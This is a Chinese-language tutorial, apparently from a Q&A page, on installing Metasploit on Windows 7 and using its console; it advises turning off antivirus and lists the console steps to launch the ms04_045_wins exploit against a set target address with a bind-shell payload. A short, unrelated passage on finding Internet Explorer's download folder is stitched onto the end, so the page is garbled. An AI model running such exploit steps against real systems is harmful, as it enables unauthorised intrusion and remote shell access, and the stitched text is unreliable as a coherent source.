windows7下怎么用metasploit工具

如果你是windows中安装的当然linux也会有个这个问题，不过不是很明显。最新的Metaploit是B/S架构的，安装后，计算机开机会启动HTTP服务，Metploit使用的nigix作为HTTP服务器，同事Metploit的WEB应用程序使用Rails框架开发。所以开机启动了服务自然就慢一些，内存自然也就多啦。

一、搭建metasploit环境

Windows环境下安装

metasploit

安装时需要注意要关闭杀毒软件，如果安装有杀毒软件，会提示在metasploit的安装目录下检测到病毒或木马。

二、metasploit的使用

Metasploit目前提供了三种用户使用接口，一个是GUI模式，另一个是console模式，第三种是CLI（命令行）模式。原来还提供一种WEB模式，目前已经不再支持。目前这三种模式各有优缺点，建议在MSF console模式中使用。在console中几乎可以使用MSF所提供的所有功能，还可以在console中执行一些其它的外部命令，如ping。

Windows下GUI启动方式，从开始菜单——Metasploit Framework——Metaspliit GUI即可。如下图所示：

其GUI模式启动后界面如图2所示：

Windows下console模式的启动方式与GUI方式类似，启动后界面如图3所示：

Metasploit的使用较为简单，了解其基本命令即可。下面以console的使用方式为例说明如何使用：

输入help或？可查看帮助信息。

下面以exploit中的ms04_045_wins为例进行说明。

1、show exploits，

2、info exploit/windows/wins/ms04_045_wins，查看其描述信息。

3、use exploit/windows/wins/ms04_045_wins，使用此exploit。

4、show options，查看相应的选项

5、set RHOST    192.168.1.200，设置目标

6、set RPORT    7777，设置端口

7、set PAYLOAD generic/shell_bind_tcp，设置使用的shellcode

8、exploit，执行攻击

需要查看浏览器的下载设置

确定位置

，以

ie浏览器

为例：

1、启动ie浏览器；

2、按下快捷键ctrl+j，d出查看下载对话框；

3、点击底部选项；

4、点击浏览；

5、打开窗口中

地址栏

的当前路径就是下载文件保存的路径，打开计算机

直接访问

即可。

---